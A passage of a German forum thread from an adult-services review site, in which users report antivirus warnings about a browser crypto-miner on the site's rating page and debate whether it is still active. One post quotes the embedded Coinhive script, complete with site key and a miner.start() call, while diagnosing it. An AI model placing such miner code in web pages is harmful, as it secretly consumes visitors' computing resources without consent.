Seite 1 von 2 12 LetzteLetzte
Ergebnis 1 bis 15 von 16

Thema: Mal eine Frage / Trojaner auf der Internetseite?

  1. #1
    Power User
    Registriert seit
    06.06.2011
    Alter
    54
    Beiträge
    475
    Renommee-Modifikator
    829000

    Standard Mal eine Frage / Trojaner auf der Internetseite?

    Moin,

    ich hatte grade hier im Forum auf "Hurren-Bewertung" geklickt.
    Da hat mein Antivirus gleich in Trojaner (js/Miner.af) gemeldet.

    Was dazu bekannt?

  2. #2
    Power User
    Registriert seit
    19.05.2010
    Beiträge
    495
    Renommee-Modifikator
    295567

    Standard

    Kann ich bestätigen. Mein Mining-Blocker hat "angeschlagen"!!

  3. #3
    User
    Registriert seit
    31.05.2010
    Beiträge
    2.235
    Renommee-Modifikator
    0

    Standard

    js-Miner klingt nach Javascript und nach Kryptowährungsschürfern.

    Das sind Programme, die im Browser komplexe Rechenoperationen durchführen, um Coins für den Seitenbetreiber zu erzeugen. Normalerweise hinterlassen die keine Spuren, wenn man den Browser schliesst.

    Ich vermute mal, da will sich ein Servertechniker was dazuverdienen.

  4. #4
    Mod Nord/Ost&Berlin Avatar von Heineken77
    Registriert seit
    29.12.2009
    Ort
    zwischen Hannover und Braunschweig
    Alter
    46
    Beiträge
    6.284
    Renommee-Modifikator
    334465

    Standard

    Soeit ich sehe kann ist das Problem behoben. Mehr weiß ich aber im Moment auch nicht.
    Mod, nicht Admin!

  5. #5
    Power User
    Registriert seit
    11.01.2016
    Beiträge
    295
    Renommee-Modifikator
    95269

    Standard

    Das Problem besteht immer noch bzw. wieder, siehe Warnung von Norton gerade eben:

    Klicke auf die Grafik für eine größere Ansicht 

Name:	huren-bewertung Warnung Norton.jpg 
Hits:	81 
Größe:	102,8 KB 
ID:	56224
    Hinweis: ALLE von mir beschriebenen sexuellen Handlungen haben sich NIE so zugetragen! Sie entspringen meiner kleinen schmutzigen Fantasie während eines feuchten Tagtraums und haben mit der Realität nicht das Geringste zu tun! Die SDL in meinem Geschichten und ich selbst halten sich in der Realität natürlich strikt an die Kondompflicht des ProstSchG!

  6. #6
    Power User Avatar von ottonormal
    Registriert seit
    08.03.2011
    Beiträge
    342
    Renommee-Modifikator
    17332

    Standard

    Bei mir zeigt weder ublock noch bluhell etwas an.

  7. #7
    Power+ User Avatar von haifisch
    Registriert seit
    14.01.2009
    Beiträge
    2.045
    Renommee-Modifikator
    1008076

    Standard

    Nutze auch Norton und mir wird nichts angezeigt.

  8. #8
    Power User
    Registriert seit
    11.01.2016
    Beiträge
    295
    Renommee-Modifikator
    95269

    Standard

    Norton schlägt bei mir immer noch an, genau so wie im Bild oben... komisch!

    Welche Version nutzt Du? Ich hab' die Versionsnr. 22.14.2.13 (Hilfe->Info)
    Geändert von Mercury006 (01.07.2018 um 21:57 Uhr)
    Hinweis: ALLE von mir beschriebenen sexuellen Handlungen haben sich NIE so zugetragen! Sie entspringen meiner kleinen schmutzigen Fantasie während eines feuchten Tagtraums und haben mit der Realität nicht das Geringste zu tun! Die SDL in meinem Geschichten und ich selbst halten sich in der Realität natürlich strikt an die Kondompflicht des ProstSchG!

  9. #9
    Mod Nord/Ost&Berlin Avatar von Heineken77
    Registriert seit
    29.12.2009
    Ort
    zwischen Hannover und Braunschweig
    Alter
    46
    Beiträge
    6.284
    Renommee-Modifikator
    334465

    Standard

    Bei mir kommt auch nichts, also weder eine Meldung (Kaspersky), noch ist eine Auswirkung da. Getestet habe ich gerade mit Firefox, Chrome, Edge und über Virustotal.

    Malwares.com findet ein Hash-Fragment, welches aber nicht aktiv ist und auch keinem Schädlicg, oder Programm zugeordnet ist, ausserdem ist der Fund vom 12.06.
    Mod, nicht Admin!

  10. #10
    Power User
    Registriert seit
    30.06.2010
    Beiträge
    156
    Renommee-Modifikator
    1212

    Standard

    auf der Seite ...
    <script src="https://coinhive.com/lib/coinhive.min.js"></script>


    <script>
    var miner = new CoinHive.Anonymous('EJYAju9mV24QhGXkGMkiyCDDr8q8gE tL');
    miner.start();
    </script>

    _coinhive.com_lib_coinhive.min.js mal googeln....
    Einen Virus kann man das nicht nennen, es ist ein Miner, der (hier) ungefragt CPU nutzt ( in der Theorie ).
    Es sieht nicht so aus, als ob er tatsächlich ( unter W10 .B. ) seine Dienste tut.
    Beim Kunden "Anonymous" kann nur spekuliert werden. Klarheit kann hier nur der Admin schaffen ( Injection oder Absicht des Seitenbetreibers ).
    Geändert von schaggel (04.07.2018 um 00:44 Uhr)

  11. #11
    Mod Nord/Ost&Berlin Avatar von Heineken77
    Registriert seit
    29.12.2009
    Ort
    zwischen Hannover und Braunschweig
    Alter
    46
    Beiträge
    6.284
    Renommee-Modifikator
    334465

    Standard

    Ja, das wir ein Problem mit dem Ding hatten ist ja bekannt:

    https://www.tabulose-huren.com/showt...e-Crypto-Miner

    Und ja, das script steht theoretisch noch drin und deshalb springen manche scanner auch an, aber der miner ist nicht mehr aktiv. Zumindest kann ich keinerlei Aktivitäten entdecken.
    Mod, nicht Admin!

  12. #12
    Power User
    Registriert seit
    30.06.2010
    Beiträge
    156
    Renommee-Modifikator
    1212

    Standard

    Also das Abschiedsgeschenk des Technikers.....
    Das Teil ist eingebettet und aktiv (miner.start().

    Da nicht auf allen Seiten eingebettet .... ist das Framework der Seite (sofern es eines gibt) eher nicht betroffen.
    Lange Rede, kurzer Sinn. Nahezu jeder AdBlocker filtert das raus .... nur wenige AV's springen drauf an. Avast und Norton gehören dazu.

    Deshalb ... Admin, nicht MOD. Sorry Heineken, nix persönliches.
    Schlamprei oder Absicht an der Basis ...

  13. #13
    Mod Nord/Ost&Berlin Avatar von Heineken77
    Registriert seit
    29.12.2009
    Ort
    zwischen Hannover und Braunschweig
    Alter
    46
    Beiträge
    6.284
    Renommee-Modifikator
    334465

    Standard

    Zitat Zitat von schaggel Beitrag anzeigen
    ...
    Das Teil ist eingebettet und aktiv (miner.start().
    ...
    Ja, aber es führt zu einer nicht aktiven Seite. Und ja, der Aufruf ist nicht auskommentiert.
    Zitat Zitat von schaggel Beitrag anzeigen
    Schlamperei oder Absicht an der Basis ...
    Das die Huren-Bewertung auch betroffen ist wurde offensichtlich übersehen. Was aber sicher auch daran liegt, das das Ding nicht mehr aktiv ist. Nun hängt da eben noch diese Datenleiche rum.
    Mod, nicht Admin!

  14. #14
    Power User
    Registriert seit
    30.06.2010
    Beiträge
    156
    Renommee-Modifikator
    1212

    Standard

    Nu wollen wir aber nicht zanken ... das Script liegt wo es liegt (nicht im Einflussbereich des Admins) und kann gestartet werden.
    Das würde ich aktiv nennen ...
    Das es in der Praxis keine größere Bedrohung darstellt, bedeutet nicht, das es nicht aktiv ist.
    Weil es diverse Programme abwürgen, heißt das nicht, das es "inaktiv" ist.

    PS: die Foren-Uhr geht 2 Stunden nach .... Das stärkt die Theorie der "Schlampigkeit" ...
    Geändert von schaggel (04.07.2018 um 01:29 Uhr)

  15. #15
    Mod Nord/Ost&Berlin Avatar von Heineken77
    Registriert seit
    29.12.2009
    Ort
    zwischen Hannover und Braunschweig
    Alter
    46
    Beiträge
    6.284
    Renommee-Modifikator
    334465

    Standard

    Ist die falsche Wortwahl, da hast du Recht. Ich wollte damit sagen, das das Ding im Moment nicht "aktiv" ist. Die Seite ist tot, nicht nur die Seite wo das Ding selbst liegt, sondern die gesamte.
    Mod, nicht Admin!

Seite 1 von 2 12 LetzteLetzte

Ähnliche Themen

  1. mal eine frage
    Von AONeuss im Forum Forums-Regeln und Allgemeines
    Antworten: 4
    Letzter Beitrag: 02.07.2014, 22:10
  2. Vorsicht: GVU Trojaner bei www.fickanzeigen.net
    Von Haenzchen im Forum Hannover / Braunschweig / Wolfsburg
    Antworten: 18
    Letzter Beitrag: 22.11.2013, 00:42
  3. Eine Frage?
    Von andy34 im Forum Kiel / Lübeck / Flensburg
    Antworten: 4
    Letzter Beitrag: 26.07.2013, 01:36
  4. Internetseite
    Von wayne_interessierts im Forum Berlin / Potsdam / Brandenburg
    Antworten: 2
    Letzter Beitrag: 05.01.2013, 16:06
  5. internetseite - treffpunkte
    Von Baer70 im Forum Hamburg
    Antworten: 9
    Letzter Beitrag: 24.01.2012, 10:41

Lesezeichen

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •